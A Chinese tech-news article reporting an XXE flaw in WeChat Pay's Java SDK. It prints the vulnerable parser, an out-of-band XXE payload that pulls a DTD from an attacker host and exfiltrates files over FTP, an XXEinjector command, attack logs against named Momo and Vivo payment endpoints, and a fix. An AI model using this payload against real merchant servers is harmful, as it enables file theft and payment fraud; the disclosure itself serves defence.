今天,国外安全社区 Seclists.Org 里一名白帽子披露了微信支付官方 SDK 存在严重的 XXE 漏洞,可导致商家服务器被入侵,且黑客可避开真实支付通道,用虚假的支付通知来购买任意产品。

值得一提的是,这名白帽子不知如何联系微信安全团队人员,所以在 Twitter 上 @360Netlab,于是 360 代为转达了该漏洞。这就造成了在没有提前通知厂商的情况下就公布了这一漏洞。

什么是 XXE 漏洞?

XML 外部实体注入漏洞(XML External Entity Injection,简称 XXE),是一种容易被忽视,但危害巨大的漏洞。它可以利用 XML 外部实体加载注入,执行不可预控的代码,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

微信 SDK 的 XXE 漏洞原理

通常,我们在使用微信支付时,商家会有一个通知的 URL 来接收异步支付结果。然而,微信在 JAVA 版本的 SDK 存在一个 XXE 漏洞来处理这个结果。由此攻击者可以向通知的 URL 中构建恶意的回调数据,以便根据需要窃取商家服务器上的任意信息。一旦攻击者获得商家的关键安全密钥(md5-key 和merchant-Id),那么他们可以通过发送伪造的信息来欺骗商家而无需付费购买任意商品。

影响范围

现已有陌陌、Vivo 已经验证被该漏洞影响。

受影响的版本有 JAVA SDK,WxPayAPI_JAVA_v3。

  • 存在漏洞的 SDK 页面:https://pay.weixin.qq.com/wiki/doc/api/index.html

  • JAVA SDK:https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

  • WxPayAPI_JAVA_v3:https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view

漏洞详情

WxPayApi_JAVA_v3.zip 的 README.md 中显示了更多的细节:

   notify code example:

    [

        String notifyData = "....";

        MyConfig config = new MyConfig();

        WXPay wxpay = new WXPay(config);

//conver to map

        Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);

        if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {

//do business logic

        }

        else {

         }

     ]

    WXPayUtil source code

   [

  public static Map<String, String> xmlToMap(String strXML) throwsException {

    try {

            Map<String, String> data = new HashMap<String, String>();

            /*** not disabled xxe *****/

            //start parse

            DocumentBuilderFactory documentBuilderFactory =DocumentBuilderFactory.newInstance();

            DocumentBuilder documentBuilder =documentBuilderFactory.newDocumentBuilder();

            InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));

            org.w3c.dom.Document doc = documentBuilder.parse(stream);

           //end parse

            doc.getDocumentElement().normalize();

            NodeList nodeList = doc.getDocumentElement().getChildNodes();

            for (int idx = 0; idx < nodeList.getLength(); ++idx) {

                Node node = nodeList.item(idx);

                if (node.getNodeType() == Node.ELEMENT_NODE) {

                    org.w3c.dom.Element element = (org.w3c.dom.Element) node;

                    data.put(element.getNodeName(), element.getTextContent());

                }

            }

            try {

                stream.close();

            } catch (Exception ex) {

                // do nothing

            }

            return data;

        } catch (Exception ex) {

            WXPayUtil.getLogger().warn("Invalid XML, can not convert tomap. Error message: {}. XML content: {}", ex.getMessage(), strXML);

            throw ex;

        }

    }

]

发布有效的商家通知 URL:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

  <!ENTITY % attack SYSTEM "file:///etc/">

  <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>

  %xxe;

]>

data.dtd:

<!ENTITY % shell "<!ENTITY % upload SYSTEM 'ftp://attack:33/%attack;'>">

%shell;

%upload;

或使用 XXEinjector 工具:https://github.com/enjoiz/XXEinjector 以检测:

ruby XXEinjector.rb --host=attacker --path=/etc   --file=req.txt --ssl

req.txt :

POST merchant_notification_url HTTP/1.1

Host:  merchant_notification_url_host

User-Agent: curl/7.43.0

Accept: */*

Content-Length: 57

Content-Type: application/x-www-form-urlencoded

XXEINJECT

陌陌案例:

 attack:

     notify url:    https://pay.immomo.com/weixin/notify

              cmd:  /home/

      result:

      ***

      logs

      zhang.jiax**

      zhang.shaol**

      zhang.xia**

      ****

    attack:

     notify url:    https://pay.immomo.com/weixin/notify

              cmd:  /home/logs

      result:

      ***

       moa-service

       momotrace

      ****

Vivo 案例:

 attack:

     notify url:   https://pay.vivo.com.cn/webpay/wechat/callback.oo

              cmd: /home/

      result:

         tomcat

  attack:

     notify url:   https://pay.vivo.com.cn/webpay/wechat/callback.oo

              cmd: /home/tomcat

     result:

        .bash_logout

.bash_profile

.bashrc

logs

 attack:

     notify url:   https://pay.vivo.com.cn/webpay/wechat/callback.oo

              cmd: /home/tomcat/logs

     result:

           ****

           tomcat-2018-06-28.log

  tomcat-2018-06-29.log

  tomcat-2018-06-30.log

           *****

修复建议

用户可使用开发语言提供的禁用外部实体的方法。Java 禁用外部实体的代码如下:

DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

写在最后

目前,我们已经向微信支付的相关技术专家证实这一漏洞的存在,其表示正在紧急修复中。当然普通的用户也不用太过担心,受影响的是使用微信支付的部分网站,如果相关的企业使用的不是官方提供的 Java 版 SDK,也没有太大的问题。不过,XXE 漏洞并非第一次出现,但是一直以来,仍未得到重视,这也是作为开发者的我们需要反思的地方。

参考:

  • http://seclists.org/fulldisclosure/2018/Jul/3

 征稿啦!

CSDN 公众号秉持着「与千万技术人共成长」理念,不仅以「极客头条」、「畅言」栏目在第一时间以技术人的独特视角描述技术人关心的行业焦点事件,更有「技术头条」专栏,深度解读行业内的热门技术与场景应用,让所有的开发者紧跟技术潮流,保持警醒的技术嗅觉,对行业趋势、技术有更为全面的认知。
如果你有优质的文章,或是行业热点事件、技术趋势的真知灼见,或是深度的应用实践、场景方案等的新见解,欢迎联系 CSDN 投稿,联系方式:微信(guorui_1118,请备注投稿+姓名+公司职位),邮箱(guorui@csdn.net)。








————— 推荐阅读 —————







微信支付 SDK 惊爆漏洞:黑客可 0 元购买任意商品相关推荐

  1. 微信支付 SDK 惊现重大漏洞:黑客可 0 元购买任意商品

    程序猿(ID:imkuqin) 整编 综合自:http://seclists.org/fulldisclosure/2018/Jul/3.https://twitter.com/codeshtool ...

  2. 7月第1周风控关注 微信支付SDK曝XXE漏洞 可伪造订单

    ​易盾业务风控周报每周呈报值得关注的安全技术和事件,包括但不限于内容安全.移动安全.业务安全和网络安全,帮助企业提高警惕,规避这些似小实大.影响业务健康发展的安全风险. 1.微信支付SDK被曝XXE漏 ...

  3. 微信支付sdk被曝xxe漏洞,漏洞原理分析

    2019独角兽企业重金招聘Python工程师标准>>> 昨日在国外安全社区seclists有一个署名叫Rose Jackcode的白帽子公布了微信支付sdk的一个严重的安全漏洞(xx ...

  4. tp6中使用微信支付sdk

    一.下载微信支付sdk 二.将lib文件夹下的文件复制到目录:extend->WxPay 将example文件夹下的WxPay.Config.php文件也复制到:extend->WxPay ...

  5. 惊爆漏洞ShopEX4.8.5隐患漏洞,最终解决方法ShopEX4.8.5安装完成后打开显示:Access denied by install.lock...

    标签:安全 漏洞 电子商务 ShopEX Access denied by install.lock 添加标签>> 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信 ...

  6. 微信支付SDK的使用

    在此记录一下微信支付sdk的使用 使用微信支付SDK理所应该去看官方文档,按步骤一步步来就好了,怎么还需要写博客呢? 答案是因为使用支付SDK时,遇到了很多弱智的坑,希望后来人不要和我一样SB就好. ...

  7. 微信支付SDK接入流程梳理

    微信SDK的支付功能接入简单梳理. 首先说一下,你需要的官网都有,但是官网提供的东西不管新旧与否先给你放上去,部分地方提供的链接点击时还提示404,不同的页面提示相同的下载内容(demo)还不一样,表 ...

  8. tp5 微信支付sdk

    接触到微信支付,然而微信官方给出的微信支付sdk用起来不太方便,在原来微信支付sdk上进行了修改,测试过能用,现在我的tp5项目都用这个,分享出来大家研究研究,新手一枚,望大神们能指出错处. git地 ...

  9. 微信支付SDK 中 PHP Certificate Downloader 微信支付 APIv3 平台证书的命令行下载工具 使用教程

    使用环境 在linux 环境中使用 (没有服务器可以使用虚拟机 复制到本地) windows环境很麻烦 使用前准备 商户号.商户证书序列号.商户私匙文件(pem格式).ApiV3密钥 安装好 微信支付 ...

最新文章

  1. 2022-2028年中国无溶剂聚氨酯复膜胶行业市场调查研究及发展前景规划报告
  2. 让delphi2010操作界面回到delphi7模式
  3. 构造 Codeforces Round #275 (Div. 2) C. Diverse Permutation
  4. JavaScript 正则表达式 学习笔记(一)
  5. 好文推荐 | 分布式锁用Redis好,还是Zookeeper好?
  6. c语言多个子函数声明,C函数在多个源文件中的声明和定义
  7. sdut 最长公共子序列问题
  8. Live预告 | 地平线李星宇:智能汽车电子构架如何变革迎接数字化重塑?...
  9. STM32H743+CubeMX-低功耗定时器LPTIM输出PWM波
  10. 服务器图片加载慢_页面提高性能利器_懒加载
  11. 开发提效小技巧分享(一)
  12. Git部署Git使用Git子模块
  13. Vue基础知识总结 13:从零开始搭建Vue项目
  14. 什么是serialVersionUID?serialVersionUID详解
  15. 华为鸿蒙内涵,“鸿蒙”两个字有何真意,还得让古人来解读
  16. JPA 之 detach方法的使用及注意事项
  17. 教你快速查询大量圆通快递单号的物流信息
  18. 怎么看曲线有没有斜渐近线_怎样判断一个曲线有无斜渐近线
  19. 榆熙教育:电商运营必备关键指标公式
  20. 【uniapp】压缩图片image-conversion

热门文章

  1. 【图像融合】评价方法(熵、均方根误差)
  2. 剑指offer之矩形覆盖问题
  3. Flutter代码锦囊---魔改进度条
  4. 沥青防水卷材行业调研报告 - 市场现状分析与发展前景预测
  5. android获取sd的大小,Android实现获取SD卡总容量,可用大小,机身内存总容量及可用大小的方法...
  6. mysql科目成绩百分比_Mysql学习经验总结【2】
  7. 飘了!英特尔 2 年内要发布高效芯片超过苹果 M1
  8. 变成“砖”?旧款 Kindle 因 3G 消失将无法联网
  9. Kubernetes 上容器的启动顺序如何把控?
  10. 开启人才进阶之旅,鲲鹏开发者技术沙龙点燃计算行业激情